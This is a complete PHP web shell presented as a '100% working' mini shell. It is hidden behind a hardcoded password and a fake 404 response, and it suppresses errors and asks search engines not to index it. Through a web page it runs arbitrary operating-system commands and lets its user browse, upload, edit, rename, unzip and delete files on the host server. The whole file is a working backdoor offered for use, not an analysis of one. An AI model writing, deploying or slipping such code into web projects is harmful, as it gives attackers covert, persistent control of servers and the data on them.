<?php
// ============================================
// MINI SHELL - 100% Working
// ============================================

// Auth
$key = 'HengHeng898';
if(!isset($_GET['x']) || $_GET['x'] !== $key){
    header('HTTP/1.0 404 Not Found');
    echo '404 Not Found';
    exit;
}

// Silent
error_reporting(0);
ini_set('display_errors', 0);

// Path
$p = isset($_GET['p']) ? $_GET['p'] : getcwd();
$p = str_replace('\\', '/', $p);
$p = realpath($p) ?: getcwd();

// ============ FUNGSI ============
function run($cmd){
    $out = '';
    $cmd = trim($cmd);
    if(empty($cmd)) return '';
    
    if(function_exists('exec')){
        @exec($cmd . ' 2>&1', $o, $r);
        if($r === 0) $out = implode("\n", $o);
    } elseif(function_exists('shell_exec')){
        $out = @shell_exec($cmd . ' 2>&1');
    } elseif(function_exists('system')){
        ob_start();
        @system($cmd . ' 2>&1');
        $out = ob_get_clean();
    }
    return $out ?: '';
}

function size($b){
    if($b < 1024) return $b.'B';
    if($b < 1048576) return round($b/1024,1).'KB';
    if($b < 1073741824) return round($b/1048576,1).'MB';
    return round($b/1073741824,2).'GB';
}

// ============ HANDLER ============
$msg = '';
$out = '';

// Command
if(isset($_POST['cmd'])){
    $out = run("cd " . escapeshellarg($p) . " && " . $_POST['cmd']);
}

// Upload
if(isset($_FILES['f']) && $_FILES['f']['error'] == 0){
    $t = $p . '/' . basename($_FILES['f']['name']);
    if(@move_uploaded_file($_FILES['f']['tmp_name'], $t)){
        $msg = 'OK: ' . basename($t);
    }
}

// Delete
if(isset($_GET['d'])){
    $t = $p . '/' . basename($_GET['d']);
    if(is_file($t) && @unlink($t)){
        $msg = 'Deleted: ' . basename($_GET['d']);
    }
}

// Rename
if(isset($_POST['rename']) && isset($_POST['newname'])){
    $old = $p . '/' . basename($_POST['rename']);
    $new = $p . '/' . basename($_POST['newname']);
    if(!file_exists($new) && @rename($old, $new)){
        $msg = 'Renamed: ' . basename($_POST['rename']) . ' → ' . basename($_POST['newname']);
    }
}

// Unzip
if(isset($_GET['z'])){
    $zip = $p . '/' . basename($_GET['z']);
    if(is_file($zip) && class_exists('ZipArchive')){
        $z = new ZipArchive();
        if($z->open($zip) === true){
            if($z->extractTo($p)) $msg = 'Unzipped';
            $z->close();
        }
    }
}

// Edit
if(isset($_POST['e']) && isset($_POST['c'])){
    $t = $p . '/' . basename($_POST['e']);
    if(@file_put_contents($t, $_POST['c']) !== false){
        $msg = 'Saved';
    }
}

// New File
if(isset($_GET['mf']) && isset($_GET['nf'])){
    $t = $p . '/' . basename($_GET['nf']);
    if(!file_exists($t)){
        @file_put_contents($t, '');
        $msg = 'Created: ' . basename($_GET['nf']);
    }
}

// New Folder
if(isset($_GET['md']) && isset($_GET['nd'])){
    $t = $p . '/' . basename($_GET['nd']);
    if(!file_exists($t)){
        @mkdir($t, 0755, true);
        $msg = 'Folder created: ' . basename($_GET['nd']);
    }
}

// ============ LIST ============
$items = @scandir($p);
$dirs = [];
$files = [];
if($items){
    foreach($items as $i){
        if($i == '.' || $i == '..') continue;
        if(is_dir($p . '/' . $i)) $dirs[] = $i;
        else $files[] = $i;
    }
    sort($dirs);
    sort($files);
}

// ============ BREADCRUMB ============
$b = '<a href="?x='.$key.'&p=/">/</a>';
$parts = explode('/', trim($p, '/'));
$cur = '';
foreach($parts as $part){
    if($part){
        $cur .= '/' . $part;
        $b .= ' / <a href="?x='.$key.'&p='.urlencode($cur).'">'.$part.'</a>';
    }
}

// ============ INFO ============
$host = gethostname();
$user = get_current_user();
$total = @disk_total_space($p) ?: 0;
$free = @disk_free_space($p) ?: 0;
$used = $total - $free;
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex">
<title>~</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a1628;color:#b8d4e3;font:13px/1.5 monospace;padding:10px}
a{color:#4fc3f7;text-decoration:none}
a:hover{text-decoration:underline}
.c{max-width:1000px;margin:0 auto}
.h{display:flex;justify-content:space-between;border-bottom:1px solid #1a3a5a;padding-bottom:8px;flex-wrap:wrap}
.h h1{font-size:18px;color:#4fc3f7}
.h h1 span{color:#0288d1}
.b{background:#0d2137;padding:6px 12px;border-radius:4px;margin:8px 0;font-size:12px;border-left:2px solid #0288d1;word-break:break-all}
.m{padding:6px 12px;border-radius:4px;margin:8px 0;background:#0d2137;border-left:3px solid #4fc3f7;font-size:12px}
.m.g{border-left-color:#26a69a}
.m.r{border-left-color:#ef5350}
.ig{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:6px;margin:8px 0}
.ic{background:#0d2137;padding:8px 12px;border-radius:4px;border:1px solid #1a3a5a}
.ic strong{display:block;color:#4fc3f7;font-size:9px;text-transform:uppercase}
.ic span{font-size:12px}
.f{display:flex;gap:6px;margin:8px 0}
.f input{flex:1;background:#0a1628;border:1px solid #1a3a5a;color:#b8d4e3;padding:6px 10px;border-radius:4px;font:inherit;font-size:13px;outline:none}
.f input:focus{border-color:#4fc3f7}
.f button{padding:6px 16px;background:#0277bd;border:none;border-radius:4px;color:#fff;cursor:pointer;font:inherit;font-size:13px}
.f button:hover{background:#0288d1}
.o{background:#060f1f;border:1px solid #1a3a5a;border-radius:4px;padding:8px;margin:8px 0;white-space:pre-wrap;max-height:250px;overflow:auto;font-size:12px}
.t{display:flex;gap:6px;flex-wrap:wrap;margin:8px 0}
.t form{display:flex;gap:4px;align-items:center}
.t input,.t button{background:#0a1628;border:1px solid #1a3a5a;color:#b8d4e3;padding:4px 10px;border-radius:4px;font:inherit;font-size:12px}
.t button{background:#0277bd;border-color:#0277bd;cursor:pointer;color:#fff}
.t button:hover{background:#0288d1}
table{width:100%;border-collapse:collapse;margin:8px 0}
th{text-align:left;padding:6px 10px;background:#0d2137;color:#4fc3f7;font-size:11px;border-bottom:2px solid #1a3a5a}
td{padding:4px 10px;border-bottom:1px solid #0d2137;font-size:12px}
tr:hover td{background:#0d2137}
.folder{color:#4fc3f7}
.act{display:flex;gap:4px;flex-wrap:wrap}
.act a{padding:2px 8px;border-radius:3px;font-size:11px;background:#0d2137}
.act a:hover{background:#1a3a5a}
.act .del{color:#ef5350}
.act .zip{color:#ffa726}
.md{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(6,15,31,0.9);z-index:999;justify-content:center;align-items:center}
.mb{background:#0a1628;border:1px solid #1a3a5a;border-radius:6px;padding:20px;width:95%;max-width:550px;max-height:90vh;display:flex;flex-direction:column}
.mh{display:flex;justify-content:space-between;margin-bottom:8px;color:#4fc3f7;font-size:14px}
.mh .x{cursor:pointer;color:#81d4fa;font-size:22px}
.mh .x:hover{color:#ef5350}
.mb textarea{flex:1;background:#060f1f;border:1px solid #1a3a5a;color:#b8d4e3;padding:8px;border-radius:4px;font:12px/1.5 monospace;min-height:200px;resize:vertical;outline:none}
.mb textarea:focus{border-color:#4fc3f7}
.mf{margin-top:8px;display:flex;gap:8px;justify-content:flex-end}
.mf button{padding:5px 16px;border:none;border-radius:4px;cursor:pointer;font:inherit;font-size:12px}
.mf .b{background:#0d2137;color:#81d4fa}
.mf .s{background:#0277bd;color:#fff}
.mf .s:hover{background:#0288d1}
.uz{border:2px dashed #1a3a5a;border-radius:4px;padding:12px;text-align:center;margin:8px 0}
.uz input[type="file"]{display:none}
.uz label{padding:6px 18px;background:#0277bd;border-radius:4px;cursor:pointer;color:#fff;font-size:12px}
.uz label:hover{background:#0288d1}
.ft{text-align:center;color:#4fc3f7;font-size:11px;padding:10px 0;border-top:1px solid #1a3a5a;margin-top:8px}
.rn{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(6,15,31,0.9);z-index:998;justify-content:center;align-items:center}
.rn-box{background:#0a1628;border:1px solid #1a3a5a;border-radius:6px;padding:20px;width:95%;max-width:400px}
.rn-box h3{color:#ffa726;margin-bottom:10px;border-bottom:1px solid #1a3a5a;padding-bottom:8px}
.rn-box input{width:100%;background:#060f1f;border:1px solid #1a3a5a;color:#b8d4e3;padding:8px 12px;border-radius:4px;font:inherit;font-size:13px;margin:5px 0;outline:none}
.rn-box input:focus{border-color:#ffa726}
.rn-box .rn-btn{margin-top:10px;display:flex;gap:8px;justify-content:flex-end}
.rn-box .rn-btn button{padding:5px 16px;border:none;border-radius:4px;cursor:pointer;font:inherit;font-size:12px}
.rn-box .rn-btn .b{background:#0d2137;color:#81d4fa}
.rn-box .rn-btn .s{background:#f57c00;color:#fff}
.rn-box .rn-btn .s:hover{background:#ffa726}
</style>
</head>
<body>
<div class="c">

<div class="h">
    <h1>⚡ <span>~</span></h1>
    <span style="font-size:11px;color:#4fc3f7"><?= $p ?></span>
</div>

<div class="b"><?= $b ?></div>

<div class="ig">
    <div class="ic"><strong>Host</strong><span><?= htmlspecialchars($host) ?></span></div>
    <div class="ic"><strong>User</strong><span><?= htmlspecialchars($user) ?></span></div>
    <div class="ic"><strong>Path</strong><span><?= htmlspecialchars($p) ?></span></div>
    <div class="ic"><strong>Disk</strong><span><?= size($used) ?>/<?= size($total) ?></span></div>
</div>

<?php if($msg): ?>
<div class="m <?= strpos($msg, 'OK') !== false || strpos($msg, 'Renamed') !== false ? 'g' : (strpos($msg, 'Error') !== false ? 'r' : '') ?>">
    <?= $msg ?>
</div>
<?php endif; ?>

<div class="f">
    <form method="post" style="display:flex;gap:6px;flex:1;">
        <input type="text" name="cmd" placeholder="$" autofocus>
        <button type="submit">▶</button>
    </form>
</div>
<?php if($out): ?>
<div class="o"><?= htmlspecialchars($out) ?></div>
<?php endif; ?>

<div class="uz">
    <form id="uf" method="post" enctype="multipart/form-data">
        <label for="fi">⬆ Upload</label>
        <input type="file" name="f" id="fi" multiple>
    </form>
</div>

<div class="t">
    <form method="get">
        <input type="hidden" name="x" value="<?= $key ?>">
        <input type="hidden" name="p" value="<?= htmlspecialchars($p) ?>">
        <input name="nf" placeholder="file" size="6">
        <button type="submit" name="mf" value="1">+</button>
    </form>
    <form method="get">
        <input type="hidden" name="x" value="<?= $key ?>">
        <input type="hidden" name="p" value="<?= htmlspecialchars($p) ?>">
        <input name="nd" placeholder="folder" size="6">
        <button type="submit" name="md" value="1">+</button>
    </form>
    <button onclick="location.reload()" style="background:#0d2137;border:1px solid #1a3a5a;color:#81d4fa;padding:4px 10px;border-radius:4px;cursor:pointer;">↻</button>
</div>

<table>
    <thead><tr><th>Name</th><th>Size</th><th>Actions</th></tr></thead>
    <tbody>
        <?php if($p != '/'): ?>
        <tr>
            <td><a href="?x=<?= $key ?>&p=<?= urlencode(dirname($p)) ?>" class="folder">📁 ..</a></td>
            <td>-</td>
            <td>-</td>
        </tr>
        <?php endif; ?>
        
        <?php foreach($dirs as $d): ?>
        <tr>
            <td><a href="?x=<?= $key ?>&p=<?= urlencode($p . '/' . $d) ?>" class="folder">📁 <?= $d ?></a></td>
            <td>Dir</td>
            <td class="act">
                <a href="#" onclick="openRename('<?= addslashes($d) ?>')">↻</a>
                <a href="?x=<?= $key ?>&p=<?= urlencode($p) ?>&d=<?= urlencode($d) ?>" class="del" onclick="return confirm('Hapus?')">✕</a>
            </td>
        </tr>
        <?php endforeach; ?>
        
        <?php foreach($files as $f):
            $full = $p . '/' . $f;
            $sz = size(filesize($full));
            $isZip = pathinfo($f, PATHINFO_EXTENSION) == 'zip';
            $icon = $isZip ? '📦' : '📄';
        ?>
        <tr>
            <td><a href="#" onclick="edit('<?= addslashes($f) ?>')"><?= $icon ?> <?= $f ?></a></td>
            <td><?= $sz ?></td>
            <td class="act">
                <?php if($isZip): ?>
                <a href="?x=<?= $key ?>&p=<?= urlencode($p) ?>&z=<?= urlencode($f) ?>" class="zip" onclick="return confirm('Extract?')">📦</a>
                <?php endif; ?>
                <a href="#" onclick="edit('<?= addslashes($f) ?>')">✎</a>
                <a href="#" onclick="openRename('<?= addslashes($f) ?>')">↻</a>
                <a href="?x=<?= $key ?>&p=<?= urlencode($p) ?>&d=<?= urlencode($f) ?>" class="del" onclick="return confirm('Hapus?')">✕</a>
            </td>
        </tr>
        <?php endforeach; ?>
        
        <?php if(empty($dirs) && empty($files)): ?>
        <tr><td colspan="3" style="text-align:center;color:#4fc3f7;padding:20px;">~ empty ~</td></tr>
        <?php endif; ?>
    </tbody>
</table>

<div class="ft"><?= date('H:i:s') ?></div>
</div>

<!-- EDIT MODAL -->
<div class="md" id="modal">
    <div class="mb">
        <div class="mh">
            <span id="mt">✎ Edit</span>
            <span class="x" onclick="closeModal()">×</span>
        </div>
        <form method="post">
            <input type="hidden" name="e" id="ef">
            <textarea name="c" id="ec"></textarea>
            <div class="mf">
                <button type="button" class="b" onclick="closeModal()">Batal</button>
                <button type="submit" class="s">💾 Save</button>
            </div>
        </form>
    </div>
</div>

<!-- RENAME MODAL -->
<div class="rn" id="renameModal">
    <div class="rn-box">
        <h3>↻ Rename</h3>
        <form method="post">
            <input type="hidden" name="rename" id="renameOld">
            <label style="color:#81d4fa;font-size:12px;">New name:</label>
            <input type="text" name="newname" id="renameNew" placeholder="Enter new name" required>
            <div class="rn-btn">
                <button type="button" class="b" onclick="closeRename()">Batal</button>
                <button type="submit" class="s">↻ Rename</button>
            </div>
        </form>
    </div>
</div>

<script>
// EDIT
function edit(f) {
    document.getElementById('mt').textContent = '✎ ' + f;
    document.getElementById('ec').value = 'Loading...';
    document.getElementById('modal').style.display = 'flex';
    document.getElementById('ef').value = f;
    
    fetch('?x=<?= $key ?>&p=<?= urlencode($p) ?>&read=' + encodeURIComponent(f))
        .then(r => r.text())
        .then(data => document.getElementById('ec').value = data)
        .catch(() => document.getElementById('ec').value = 'Error');
}

function closeModal() {
    document.getElementById('modal').style.display = 'none';
}

// RENAME
function openRename(f) {
    document.getElementById('renameOld').value = f;
    document.getElementById('renameNew').value = f;
    document.getElementById('renameModal').style.display = 'flex';
}

function closeRename() {
    document.getElementById('renameModal').style.display = 'none';
}

// ESC
document.addEventListener('keydown', function(e) {
    if(e.key === 'Escape') {
        closeModal();
        closeRename();
    }
});

// UPLOAD
document.getElementById('fi').addEventListener('change', function() {
    if(this.files.length > 0) {
        document.getElementById('uf').submit();
    }
});

document.querySelector('input[name="cmd"]').focus();
</script>

<?php
if(isset($_GET['read'])){
    $f = $p . '/' . basename($_GET['read']);
    if(is_file($f) && is_readable($f)){
        header('Content-Type: text/plain');
        echo file_get_contents($f);
    }
    exit;
}
?>
</body>
</html>